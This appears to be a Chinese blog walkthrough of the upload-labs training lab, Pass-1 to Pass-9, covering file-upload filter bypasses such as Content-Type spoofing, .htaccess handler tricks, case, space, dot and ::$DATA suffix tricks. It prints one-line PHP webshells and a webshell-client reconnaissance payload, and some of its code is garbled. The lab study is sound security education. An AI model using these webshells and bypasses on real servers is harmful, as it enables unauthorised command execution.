目录

文件上传复现

文件上传复现

复现 upload-labs漏洞
(1)Pass-1 (Javascript 前端检查)

1、判断本关文件上传检测方式

显示源码

https://i-blog.csdnimg.cn/direct/a427a57b3aed4c03baff66ddd052f6cf.png

查看提示

https://i-blog.csdnimg.cn/direct/bfa6f465821144bea97b919ded3cd0ce.png

得出结论为JS前端检测。

2、针对防御措施进行绕过上传

通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:

修改JS文件;

上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);

禁用js。

3、靶机实战

这里使用“修改js文件”,右键-查看元素,查看器中找到“οnsubmit=“return checkFile()””删除其值。

此时就可以上传.php文件

https://i-blog.csdnimg.cn/direct/6735ca208c6d4fec9ed07c00e30436b0.png

通过木马文件就可以进入后台

https://i-blog.csdnimg.cn/direct/40062c327cee459a8bec6c4952d75492.png

Pass-2 文件类型检查有缺陷

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

①上传webshell.php 内容为:<?php @system($_GET

′cmd′

); ?>;

②抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

③放包,收到成功上传;

④复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。

3、靶机实战

①上传webshell.php 内容为:<?php @system($_GET

′cmd′

); ?>;

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

放包,收到成功上传

https://i-blog.csdnimg.cn/direct/860d49ff02594f0eaf96cd3ab63e1c36.png

https://i-blog.csdnimg.cn/direct/65da2d8278db4a8b98a71845db2b934b.png

Pass-3 黑名单限制不完全

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:

①通过使用可被执行但不常见的后缀名,比如php5,shtml等等;

②上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的③MIME类型;

④利用后端解析差异绕过限制。

3、靶机实战

①上传 webshell.php3 内容为:<?php @system($_GET

′cmd′

); ?>;

https://i-blog.csdnimg.cn/direct/914649b74bb8473a836b48cf3feee215.png

Pass-4
  1. 判断本关文件上传检测方式

分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。

https://i-blog.csdnimg.cn/direct/fb20fe024cd2413ba208773ab3db41fe.png

首先上传.htaccecc(无标题文件)

<code class="language-plaintext hljs"><FilesMatch "4.png">
    SetHandler application/x-httpd-php
</FilesMatch></code>

在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。

然后上传含有木马的4.png文件,使用远程工具连接。

<code class="language-plaintext hljs">ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="    ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="    {$s}";echo $R;;echo "8e51f";die();</code>
Pass-5

观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。

https://i-blog.csdnimg.cn/direct/22ec7e4b856b40a986f010a01bdc9db8.png

在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.php

 <code class="language-plaintext hljs"><?php eval($_REQUEST[123])?>
密码:123</code>

https://i-blog.csdnimg.cn/direct/1ba35136923d4dedb7313a0b1a90c9c8.png

使用远程工具连接。

Pass-6

分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过

https://i-blog.csdnimg.cn/direct/2f1ed45139a64961b7a806eecb68f256.png

修改木马文件名为:6.pHP

上传成功,复制图片url地址。使用远程工具连接。

Pass-7

查看源码,没有屏蔽空格。

https://i-blog.csdnimg.cn/direct/ff7e2beb71dc41399cda982b168db605.png

在文件后缀前加空格7. pHP进行上传,上传成功,复制图片url地址。

使用远程工具连接

https://i-blog.csdnimg.cn/direct/5ecc5188f6ba4e4ca3136df0a18f7955.png

Pass-8

查看源码,上传文件未进行文件后缀中.的屏蔽。

https://i-blog.csdnimg.cn/direct/5673121adf9448a9b9169bafdbb835c5.png

在文件后缀中加.符号,如8.ph.p,进行上传,成功后复制图片url地址

使用远程工具连接

Pass-9

观察源码,没有对文件后缀的特殊字符进行处理。

https://i-blog.csdnimg.cn/direct/2b20092ca17642a2af95714a47fce325.png

上传9.php文件并用burpsuite进行抓包,在文件名后缀后加上特殊字符::$DATA进行特殊字符绕过。

https://i-blog.csdnimg.cn/direct/09eb9a49087a4c608efaaf7ada091f3d.png

放行后,成功上传文件,复制url地址。